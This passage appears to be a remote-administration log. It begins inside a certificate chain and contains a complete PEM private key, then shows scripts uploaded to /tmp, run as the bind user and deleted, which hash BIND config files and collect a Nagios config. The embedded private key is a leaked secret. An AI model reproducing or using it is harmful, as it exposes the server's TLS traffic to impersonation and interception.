hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc3RvdWdodG9uLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzEyMC5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgDLOPcV
iXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZxXL61gAAAEAwBHMEUCIAdu
2Qrb7GYWgjC9VvMPGRBlRxQw/ic6lT0XUSa9vSMRAiEA2W2RsPfS++OUO5jhpYgy
6l4ndH83SFKYQvntowzH6PwAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZxXL62hAAAEAwBIMEYCIQD/AGO/BUrys466dj+ywXW8eSTWcnXAl9F2
SHE/8RXa9wIhANDyMnHE/qjvkDKF4OiEMU+i6GnRIDvpEvAoL2s8o0o3MA0GCSqG
SIb3DQEBCwUAA4IBAQARQBlZ82ZYiziZ2d2Hj3ZHKifA7hqR8AAl/3ao5PQBHIqd
3XcpyFww6yCK7WP5UFZWZF+Mix/uh2d0aFBTawfPeiwRl2K+HpswahpeBCWBdPBR
OxhMFQ2oTu6/P+0L78cZr4kCDe7vpk8XVzUD+33laMfrqYLVnlAgEMq0HDu1eBC7
sv4+5M7HnvakuNUt+uY0pyMreQbUeC/k+TrqAsfx06pAuwsRKy1GY5HKsxABpNbI
Imh8qSBtdI+KnzVpVYJXKl8Jm9jy5beSVDRZZTG/1FvBUrEutxqDRb0qN6MEvXFv
T4WzVzottKsqlBIK3eoxba8MHLQK1DoaXxnFou3Z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqOmchYNY4H37p
ZZLBM52zKxmrozKWLM22b4HuUNm6CTnwNOJn1z6pS55tMp/LZBQIYXywbO4u74jO
z3apRIRRkPTiIn2cfXEJggfRLmGeW2VSead/VMJORPgnZXxbmg5ihQ4tmZhnZgN6
IF/xpFyBs/fZRd94d0TIezJghnVz7bYJblpClg0gv8VtFlLLIEJBFz9tuAZYKIoH
LadZSkbLb4KoIts5W7uUULDFpAIIJ7jMg+K0cdibUMvHeUhi+1A4SFsp6NWG+OH8
BTat/x8Csb/+AY4u8CwM5E5IcK0Uk3DLZ+EIb8Bdce2usdapwRunW6kLsy7G2bI8
AlcDSiHTAgMBAAECggEACDgaWKiQpKm9+qOhNVuPprdTCFAwlhhYX7xR6Awr/Gk2
TJx7vgsiMbxpTC515rUl/nhD3qTeeeeuPFtqCFGQQ1FIxvkRWuf3ouo4rxHv5rHV
BOluJp4UulYRgUgg0Vob4wfiSl4F13WRKhQRbd0YwQPL2Mggj8l6dGT2Zrth779G
B6TvbmNKjce/u87did2SEVgWVgSPurWjP0K0/NZvkg7ueIeLljr92hR7mzFQaaKX
UgJ3C5YJ/k8aZL8+8TknUWfGs4FREzzUGPCRWzG80Rb1GXgVrpYv2weBi5Kqr73L
IrwOG2hbr0xKvQEBMYk8/xAkOuMcDFXN88HjuWQU+QKBgQDSYfnT+bHjM5IUSELa
1TneqlnVeNfUX9Cq/uikGQcoxr7MHctqImyo8BF8KalS6kv0ljdmJrzvh+RC6yPs
La2HsgEcFx+7YPObjvJEtpKnWYNgdajYvr+sV2hTG/KZfmMKn6r/6l5CMeNxjtBI
+sCVhQ3KSTSuwAVN+F0L6cz6zwKBgQDPI4HeAo5ivZxZ1TKABMAFISZzQHI+Ra68
d/HTXfkIPiTRcYDhiL4lyFQ2HmY1GA9pjbeKwtovrMdiY/sZWG80subGpFOILxbi
c0bOY5Tq2hdNBonNyg4NigLFVz7RPcBqAuvC4HABa6jbGy6+o6r3v+O6+M4/Wahw
U7sf9M1ZvQKBgCrx+Q9+TwO0CUO+pHcLQ67iU0gyTMx7apsdQdwNh9qZB2WfR2C4
+jlaGBeiYYAdd7fL2i8uBS9YLA5E9aZGhL/IZFWZms6jMdc1TNsd8b3blefg3MCx
32qMxS0B7XnLxOfsQ/nNm8QjbuxFXNso5Jsg9/mtC+YIKI0L/+JorYEdAoGAdvg0
2ddsAkhXKb1qwN55jzioBeAI/b02DCdz7Gt34gUXTng7hs3sMHUr8N1q5KnKCF0O
AxPBD0rURa2ZBcimLoVmSMcO9xPct/lvvJCzcmQKqAHOWjTn91zCFKf0e2dVQU4m
LQqNKjO0iwvEwFfulVdQLA5FH1uWg9WDj2oiG50CgYEAwtXHkzSPI/exzNeXWQ3C
JPTL7LRAJ6HMleF5B1+vpA1IeYUmMcyWjsO3v5dJ6OhOAXPd6Twzqi4N+U/qJo3e
bKAW+NRcaQyx2eZwSSmj5UqaBQ8PSWoKKmy00xaRLYKXZI2a5uYD0tr/jERTJOj5
ZjTRbYJhzdkGWco1qJQfkzI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-13 14:46:26: Establishing a connection
2026-02-13 14:46:37: Establishing a connection
2026-02-13 14:46:37: 

PUT: /tmp/pkp346854

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-13 14:46:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp346854; rm /tmp/pkp346854'

2026-02-13 14:46:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-13 14:47:26: Establishing a connection
2026-02-13 14:47:28: Establishing a connection
2026-02-13 14:47:28: 

PUT: /tmp/pkp924002

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
